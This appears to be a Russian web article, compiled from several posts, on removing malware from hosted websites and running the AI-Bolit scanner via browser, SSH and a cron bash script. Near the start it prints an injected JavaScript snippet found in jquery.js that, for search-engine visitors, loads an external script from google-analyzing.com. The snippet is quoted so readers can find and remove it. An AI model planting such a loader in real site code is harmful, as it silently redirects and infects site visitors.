31.07.2023

Айболит скрипт. AI-Bolit - эффективный сканер вирусов и другого вредоносного кода на хостинге. Как работает сканер AI-Bolit


Сегодня ко мне обратились за помощью в очистки интернет магазина от вирусов. Неожиданно для одного из сотрудников пришёл отказ в рекламе Google Adwords. В письме указали, что в файле jquery.js прописан подозрительный код.

В первую очередь я с помощью браузера открыл путь к данном файлу, но антивирус Avast никак не среагировал на данный файл, хотя зрительно я уже видел вредоносный код. Затем я соединился по ftp с помощью FileZilla и попробовал открыть файл с помощью программы Notepad++ . И вот тут мой антивирус заблокировал доступ к данному файлу.

Чтобы почистить js файл от вируса, мне пришлось на 10 минут отключить AVAST, а затем удалить из файла вредоносные строчки.

Если вы столкнулись с подобной проблемой, удалите следующий код как показано на картинке, или вот эти строки.

Var r=document.referrer; var c=document.cookie; r1=0; if ((r.indexOf("yandex")>0) || (r.indexOf("google")>0) || (r.indexOf("rambler")>0) || (r.indexOf("mail")>0)) { document.cookie = "__ga1=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;"; r1=1; } else {if (c.indexOf("__ga1")==-1){document.cookie = "__ga2=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;";}} if (((c.indexOf("__ga1")>-1) || (r1==1)) && (c.indexOf("__ga2")==-1)) {document.write(unescape("%3Cscript src="http://google-analyzing.com/urchin.js" type="text/javascript"%3E%3C/script%3E"));}

Бэкап сайта.

Далее соединяемся по ssh доступу, например с помощью утилиты putty и по возможности делаем архив сайта. Для этого достаточно в консоли воспользоваться следующим командой:

tar - cf backup .tar /home/логин/site/public_html


*/home/логин/site/public_html - полный путь до главной директории сайта

Бэкап сайта можно и не делать, но мало ли вы удалите что-то важное?

Теперь есть два варианта проверки сайта на вирусы

1. Проверка сайта с помощью php скрипта Ai-Bolit, который ищет различные вирусы а так же php shell.

2. Скачать весь сайт к себе на компьютер и прогнать антивирусом Avast, но первый вариант значительно лучше, удобней, и значительно качественней.

Очистка сайта на локальном компьютере

Сначала я воспользовался вторым способом, поэтому опишу именно его. После того как на компьютер были выкачены все файлы (или архив), а их немного не мало 25 000, я открыл Avast и указал папку с файлами сайта для их проверки на вредоносные скрипты.

После того как Avast выполнил проверку в папке с файлами веб-сайта были обнаружены два скриптовых вируса:

  • Php-Shell-Jv
  • Js-Redirector-Fc

Файл index.php состоял из следующего кода:

В файле javascript "ui.datepicker_old.js" был вредоносный код в самом низу содержания скрипта. Этот код необходимо удалить!

Очистка сайта от вирусов с помощью Ai-Bolit.

Ftp способ.

1. Загружаем архив со скриптом Айболит на локальный компьютер и распаковываем его.

2. Соединяемся по ftp с помощью клиента FileZilla

3. Распакованные файлы архива размещаем в главную директорию сайта /home/ваш сайт/public_html

4. Запускаем скрипт http://ваш домен/ai-bolit.php

5. Файл отчёта будет создан в главной директории с именем AI-BOLIT-REPORT.html

Если после запуска скрипта отображается чистый белый экран, значит версия php на сервере хостера не подходит для Айболита.

Внимание! Если необходимо проверить все сайты в директории, загружаем скрипт в папку /home/domains/ или /home/ , тогда Ai-Bolit рекурсивно пройдётся по всем папкам, и выдаст отчёт, но как мне кажется лучше проверять по одному домену.

Консольный вариант (SSH)

1. Запускаем программу Putty, или другую консольную программу.

2. Соединяемся с сервером по хосту и паролю.

3. Переходим в главную директорию сайта командой cd /home/ваш логин/ваш сайт/public_html/

4. Загружаем скрипт командой wget http://www..zip

5. Распаковываем zip архив командой unzip 20160904_112415ai-bolit.zip

6. Запускаем скрипт php ai-bolit.php

Для запуска в фоновом режиме используем команду: screen -d -m php ai-bolit.php

7. Ждём пока что скрипт выполнит проверку, и создаст отчёт вида "AI-BOLIT-REPORT.html " на сервере.

Так же обратите внимание, если на вашем сервере установлен php ниже 5.3, Айболит покажет ошибку и не запустит сканирование. В моём случае пришлось выкачивать сайт, и проверять его на своём сервере.

После того как на сервере будет создан файла отчёта, его можно скачать к себе на компьютер и посмотреть обычным браузером (Хром, Файерфокс, и т.д).

В первую очередь стоит обратить внимание на отчёт о "Вредоносных скриптах", ну а дальше либо аккуратно удалять эти файлы, либо чистить ручным способом, как это делаю я.

AI-Bolit - эффективный сканер вирусов и другого вредоносного кода на хостинге

Нас часто спрашивают – в чем уникальность сканера AI-Bolit ? Чем он отличается от других аналогичных инструментов поиска вредносного кода, таких как maldet, clamav или даже десктопных антивирусов? Краткий ответ – он лучше детектирует вредоносный код, написанный на PHP и Perl. Почему? Ответ ниже.

С каждым днем вредоносный код (хакерские веб-шеллы, бэкдоры и т.п.) становятся более изощренными и сложными. Кроме обфускаций идентификаторов и шифрования кода

повсеместно начали использоваться неявные вызовы функций посредством методов с callable аргументами, handler"ов и косвенных вызовов функций.

Все меньше остается вредоносных скриптов с линейной структурой и фиксированными идентификаторами. Код стараются замаскировать и сделать как можно более изменчивым, “полиморфным”

или наоборот, сделать максимально простым и похожим на обычный скрипт.

Порой, анализируя вредоносный скрипт, невозможно выделить фиксированный фрагмент, по которому однозначно можно было бы идентифицировать “вредонос”. Очевидно, что подобный вредоносный код невозможно найти по простой базе сигнатур (антивирусной базе), которая используется в подавляющем большинстве веб-антивирусов и сканеров на хостинге. Для эффективного поиска современных “вредоносов” необходимо использовать более сложные методики определения вирусных паттернов, а в некоторых случаях - эвристику. Именно такой подход мы применяем в сканере вредоносного кода AI-BOLIT.
Использование большой базы постоянно совершенствующихся гибких паттернов на основе регулярных выражений, применение дополнительного эвристического анализа, выработанного на основе сканирования большого числа зараженных сайтов, позволило сделать сканер AI-Bolit самым эффективным и активно используемым инструментом администратора и веб-разработчика.

Широкую известность AI-Bolit получил также благодаря простому интерфейсу и возможности свободного использования в некоммерческих целях. Любой вебмастер может абсолютно бесплатно скачать AI-Bolit с официального сайта http://revisium.com/ai/ и проверить свой ресурс на наличие хакерские шеллов, бэкдоров, дорвеев, вирусов, спам-рассыльщиков, скрытых ссылок и других вредоносных фрагментов и вставок. Сканер также активно используется и коммерческими компаниями - веб-студиями, хостинг-компаниями и интернет-агентствами для проверки и лечения клиентских сайтов. Хостеры интегрируют AI-Bolit в панель управления, веб-разработчики используют его для поиска вредоносного кода и в собственных сервисах мониторинга сайтов.

Ниже приведем лишь небольшой список возможностей сканера Ai-Bolit:

  • запуск из консоли и браузера
  • три режима сканирования ("простой", "эксперт", "параноидальный")и два режима работы ("экспресс" и "полное сканирование")
  • поиск хакерских php и perl скриптов (шеллов, бэкдоров), вирусных вставок, дорвеев, спам-рассыльщиков, скриптов по продаже ссылок, скриптов клоакинга и других типов вредоносных скриптов. Поиск по шаблонам и регулярным выражениям, а также использование эвристик для определения потенциально-вредоносного кода
  • поиск сигнатур в зашифрованных, фрагментированных текстовых блоках и закодированных hex/oct/dec последовательностях
  • поиск подозрительных файлов с конструкциями, которые применяются во вредоносных скриптах
  • поиск скрытых ссылок в файлах
  • поиск символических ссылок
  • поиск кода поисковых и мобильных редиректов и многое другое.
Кстати, на Ai-Bolit получено авторское свидетельство в РосПатенте. А еще сканер активно освещается на сторонних сайтах, в профильных журналах, на конференциях и вебинарах.

Официальная страница скрипта

Наверное каждый кто создает сайты сталкивается с вирусняками и троянами на сайте. Первая проблема вовремя заметить проблему, до момента когда проекты схватят пессимизацию от поисковиков или посыпятся обузы хостеру (за ддос, спам).

Эта статья пишется по горячем следам, когда во время обычного бэкапа на машину под виндой исходников сайта ESET Smart Security вдруг начал ругаться на картинки, которые счел вирусняком. Оказалось что с помощью картинок на сайт был залит бэкдор FilesMan.

Дыра была в том, что скрипт позволявший загружать юзерам картинки на сайт проверял что загружается картинка лишь по расширению файла. Содержимое не проверялось совсем. Так делать не надо;) В итоге на сайт можно было загрузить любой php файл под видом картинки. Но речь не о дырках…

Речь о том что возникла задача ежедневной проверки все файлов сайта на вирусняки и трояны.

Проверка сайта на вирусы онлайн

Онлайн всякие проверки сайта на вирусы не подходят для этих целей от слова совсем. Онлайн сканеры ведут себя как робот поисковика, последовательно проходя все доступные страницы сайта. Переход на следующую страницу сайта происходит по ссылкам с других страниц сайта. Соотв. если злоумышленник залил вам бэкдор на сайт с помощью картинки и ссылки на эту картинку нигде на страницах сайта нет и дефейсить сайт не стал, также как вешать вирусняк на страницы, то онлайн проверка сайта на вирусы просто эту картинку не найдет и вируса не найдет.

Зачем, вы спросите, злоумышленнику так делать? Зачем заливать бэкдор и ничего не делать? Отвечу – для спама, для ддоса. Для другой вредоносной активности, которая никак не отражается на страницах сайта.

Одним словом онлайн проверка сайта на вирусы совершенно бесполезна для полного спокойствия.

Плагин для проверки WordPress сайта на вирусы и трояны

Для вордпресса есть отличный антивирусный плагин. Называется он . В моем случае он отлично находил картинки с FilesMan чистил сайт от вирусов. Но у него есть важный недостаток. Во время проверки он дает дикую нагрузку на сервер, потому что просто последовательно перебирает все файлы. Кроме того проверка из коробки делается только в ручную. Автоматизировать проверку сайта с плагином не возможно.

Ну и подхватить вирусняк можно и мимо вордпресса, нужно что-то универсальное.

Проверка содержимого сайта обычным антивирусом

Как и было сказано выше проблемы и были обнаружены совершенно случайно обычным десктопным антивирусом во время бэкапа. Конечно можно каждый день скачивать весь сайт и проверять обычным антивирусом. Все это вполне работоспособно.

  • во-первых, хочется автоматизации. Чтобы проверка была в автоматическом режиме и по итогам был готовый отчет.
  • во-вторых, есть такие сайты, что выкачивать их каждый деть просто не реально,

Пробуем AI-Bolit

Что-то со вступлением я затянул. В итоге всех поисков нашелся прекрасный БЕСПЛАТНЫЙ антивирус для сайта. . Этот антивирус подразумеваем разные схемы его использования. Я его использовал через ssh.

Можно ли его использовать на шаред хостинге – не разбирался, но думаю это возможно. AI-Bolit написан на php и у него есть возможность запуска из браузера. Поэтому чисто технически – наверное можно и на шареде.

Важно! Айболит не лечит сайт от вирусов – он их ТОЛЬКО НАХОДИТ и дает отчет какие файлы он считает опасными. А уж что с ними делать вы решаете сами. Поэтому просто тупо нажать на кнопку и вылечить сайт от троянов не получится.

Как пользоваться AI-Bolit на VDS с ssh

У айболита есть с инструкциями и мастер-классами по использованию этого антивируса. В общем случае последовательность простая:

  • качаем
  • распаковываем на сервер (я распаковывал в /root/ai)
  • далее из консоли ssh запускаем php /root/ai/ai-bolit/ai-bolit.php
  • проверка может занять часы, в зависимости от объема сайта
  • по итогам проверки будет сформирован файл отчета AI-BOLIT-REPORT-<дата>-<время>.html

В файле отчета будут видны проблемные файлы, если таковые найдутся.

Большая нагрузка на сервер

Главная проблема с которой сталкиваешься с при автоматической проверке сайта на вирусы – это нагрузка на сервер. Все антивирусы действуют одинаково, последовательно перебирая все доступные файлы. И айболит тут вроде бы не исключение. Он просто берет все файлы и последовательно их проверяет. Нагрузка подскакивает и это может длиться долго, что не приемлимо в продакшене.

Но у айболита есть чумовая возможность (при условии что у вас полноценный сервер или вдс с рут доступом). Сначала для айболита можно сформировать список файлов для проверки, а потом скормить этот список. Тогда айболит просто пробежится по этому списку.

Для формирования списка можно пользоваться любыми способами сервера. У меня получился вот такой баш скрипт:

# bash /root/ai/run.sh # https://revisium.com/kb/ai-bolit-console-faq.html DOMAIN="сайт" AI_PATH="/root/ai" NOW=$(date +"%F-%k-%M-%S") # можно сделать публичную папку под парольным доступом REPORT_PATH="$AI_PATH/reports/$DOMAIN-$NOW.html" SCAN_PATH="/home/azzrael/web/$DOMAIN/public_html/" SCAN_DAYS=90 #php /home/admin/ai/ai-bolit/ai-bolit.php --mode=1 --path=$SCAN_PATH --report=$REPORT_PATH # Скан только файлов измененных за Х дней # AI-BOLIT-DOUBLECHECK.php захардкодено автром айболита на --with-2check !!! find $SCAN_PATH -type f -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" #find $SCAN_PATH -type f -name "*.ph*" -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" #find $SCAN_PATH -type f -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" #find $SCAN_PATH -type f -name "*.ph*" -o -name "*.gif" -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" php "$AI_PATH/ai-bolit/ai-bolit.php" --mode=1 --report=$REPORT_PATH --with-2check #history -c

# bash /root/ai/run.sh

# https://revisium.com/kb/ai-bolit-console-faq.html

DOMAIN = "сайт"

AI_PATH = "/root/ai"

NOW = $ (date + "%F-%k-%M-%S" )

# можно сделать публичную папку под парольным доступом

REPORT_PATH = "$AI_PATH/reports/$DOMAIN-$NOW.html"

SCAN_PATH = "/home/azzrael/web/$DOMAIN/public_html/"

SCAN_DAYS = 90

#php /home/admin/ai/ai-bolit/ai-bolit.php --mode=1 --path=$SCAN_PATH --report=$REPORT_PATH

php "$AI_PATH/ai-bolit/ai-bolit.php" -- mode = 1 -- report = $REPORT_PATH -- with - 2check

#history -c

Здесь видно, что через команду find мы собираем все файлы созданные за последние SCAN_DAYS, сохраняем их в список AI-BOLIT-DOUBLECHECK.php (к сож. переименовать файл списка, на момент использования, было нельзя), затем скармливаем этот список айболиту. SCAN_DAYS может быть равным одному дню. Если поставить bash /root/ai/run.sh в ежедневный крон, то список файлов на проверку может быть не очень большим. Соотв. проверка займет не много времени и не будет сильно нагружать сервер.

Есть проблемная ситация – сайт с вирусами.

Сейчас я покажу как этот вирус найти легко и уничтожить. Первым делом нужно скачать сайт на локаль – ведь так намного проще проверять масив файлов.

Этот текст из описания видео, потому он немного сумбурный и уныл. Впрочем и остальная моя писанина)

Скачивать будем файлзиллой. Скачивать я буду сразу на установленный локальный сервер – Open Server – что бы была возможность запустить локально, вдруг понадобится.

Если у вас установлен антивирус, которые проверяет файлы на лету – есть шанс что вы обнаружите в каких-то файлах вирусы ещё при скачивании. Смотрите в логах моего антивируса.

В моем случае мой Microsoft Security ничего не показал – вирус оказался ему неизвестен.

Для поиска я буду использовать специальный антивирус – Айболит. Сайт разработчика http://revisium.com/ai/
Советую зайти, посмотреть семинар. Файлы ещё скачиваются, это надолго. У меня уже есть готовая локальная копия, я вчера игрался с антивирусом этим.

Итак, для работы нам ещё понадобится php для windows. Скачивать тут http://windows.php.net/download/ последнюю версию для виндовс в zip архиве. Распакуйте где-то, где вам было бы удобно.

Окей. Подготовка закончилась. Теперь к работе.

Скачиваем архив с АйБолитом.

Внутри три папки:

  • ai-bolit – собственно само ядро антивируса
  • known_files – версии антивирусных баз файлов для разных движков
  • tools – вспомагательная утилита.

Итак, приступаем к лечению сайта от вирусов

  1. Копируем из папки ai-bolit все файлы в корень сайта
  2. Если мы знаем какой у нас движок – выбираем в папке known_files папку с нашей CMS и закидываем в корень все файлы. В моем случае движок WordPress, потмоу будем лечить от вирусов антивирусными базами для WordPress. Если хотите вобще все проверить – можете антивирусные базы залить от всех движков – авось найдет что-то больше)
  3. Снова забыл – нужно в настройках АйБолита указать экспертный режим работы. Для этого текстовым редактором открываем файл ai-bolit.php и находим там строчку define(‘AI_EXPERT’, 0); меняем “0” на “1” и все – экспертный режим включен.
  4. Теперь – нужно распаковать наш zip архив c php в какую-то папку, где с ним было бы удобно работать. Нам понадобится файлик – php.exe
  5. Теперь нужно запустить исполняемый файл нашего антивируса. Для этого два раза кликнем по ai-bolit.php. У меня уже готов выбор чем выполнять этот скрипт.

Я бы советовал сохранить только папку uploads и папку с вашей темой. Плагины все перекачать, настройки останутся в базе данных – их вирусы не трогают. Тему проверить вручную все файлы – благо их там немного, если верстал сайт не корявый верстальщик. А все остальное в движке залить наново. это самый надежный способ.

И ещё напоминаю – вирусы скоре всего у вас по всему аккаунту на хостинге (очень редко они умудряются прыгать между аккаунтами разных пользователей, только в тмо случае если админ хоостинга криворук.)

Если на сайте по какой-то причине будет удален АйБолит – скачать антивирус для сайта всегда можно у меня

Вирусы это печально(

PS: две статьи как чистить уже найденные вирусы:

  • Попроще – Как самостоятельно бесплатно удалить вирус с сайта
  • Для продвинутых –

Искал я в интернете халявную "платную" тему для сайта. Благо сайтов таких достаточно. Правда они копируют друг друга =) По опыту работы с такими шаблонами я знал, что за такую халяву иногда приходится платить сполна. Потому что в такие шаблоны очень не хорошие люди вставляют всякие гадости, которые порядочным программистам могут доставить очень большие неприятности. Помнится мне, что мой антивирус ESET раньше находил и ругался на base64. Теперь и он не ругается. Это я к тому, что если проверять антивирусом, то это не поможет.

До Ai-Bolit я проверял Total Commander"ом файлы на содержимое определенных слов и уже в зависимости от найденного я проверял и исправлял. Но это очень нудное занятие. И я задался найти более оптимальное и быстрое решение поиска. И нашлось. Это - AI-Bolit - уникальный бесплатный скрипт для поиска вирусов, троянов, backdoor, хакерских активностей на хостинге.

И так, что умеет делать этот скрипт:

  • искать вирусы, всякие вредоносные и хакерские скрипты на хостинге: шеллы по сигнатурам, шеллы на основе несложной эвристики - все то, что обычные антивирусы просто не в состоянии найти.
  • работать со всеми популярнейшими cms без исключения, включая joomla, wordpress, drupal, bitrix...
  • искать редиректы в.htaccess на вредоносные сайты
  • искать код sape/trustlink/linkfeed в.php файлах
  • определять дорвеи
  • показывать директории, открытые на запись
  • искать невидимые ссылки в шаблонах

Зачем же нужен этот скрипт?

Опытный хакер может взломать практически любой сайт. И ваш сайт может быть не исключением. Чем же опасен взлом сайта? Получив доступ к сайту злоумышленник может выполнить следующее:

  • "сливать" ваш трафик на свои проекты
  • скачает содержимое сервера и базы данных для продажи третьим лицам
  • подменит контактные или платежные данные на сайте
  • скачает персональные данные пользователей
  • разместит на вашем сайте дорвеи со спам-ссылками
  • внедрит на страницы сайта вирусы, трояны или эксплойты, заражая посетителей
  • проведит с вашего сервера спам-рассылку
  • продаст доступ к взломанному сайту другим злоумышленникам для последующего несанкционированного проникновения
  • и прочее... Печально. Да?

Ai-Bolit позволяет своевременно обнаружить множество вредоносного ПО и подозрительных изменений на хостинге, снижая риск быть забаненным поисковыми системами за распространение вирусов и наличие дорвеев. А также позволяет своевременно узнать о возможных потенциальных утечках информации и других неприятностях относительно вашего сайта. КРУТО!!!

Как пользоваться скриптом

В архиве скрипта есть ОЧЕНЬ понятная инструкция. По-умолчанию "доктор" сканирует в обычном режиме с минимальным количеством сигнатур и минимальным числом ложных срабатываний.

Есть два варианта проверки. Они оба описанны в инструкции. приведу только первый - упрощенный.

Вариант запуска из браузера (не рекомендуется, так как выполняет только экспресс-сканирование )

  • Скачать архив со скриптом (смотреть прикрепленные файлы)
  • Распаковать.zip
  • Поменять пароль в строке define("PASS", "put_any_strong_password_here_8_symbols_min");
  • Включить режим "эксперт" в строке define("AI_EXPERT", 0); // заменить 0 на 1
  • скопировать из папки /ai-bolit/ файлы на сервер в корневой каталог
  • скопировать из папки know_files файлы, которые соответствуют вашей cms
  • открыть в браузере http://sitename.com/ai-bolit.php?p=My456Pass123 и ждать отчета
  • !!!после отображения отчета удалить файлы от айболита и сам скрипт с сайта!!!

Вот и все. Затем, перед вами появится отчет и вам остается следовать за ошибками и исправлять уязвимости.

Обратная связь

Автор очень приветливый человек. Всегда отвечает. Если у вас есть пожелания или вопросы, то пишите:
web: http://www.revisium.com/ai/
e-mail: [email protected]
skype: greg_zemskov


© 2024
zane-host.ru - Программы. Компьютеры. Сетевое оборудование. Оргтехника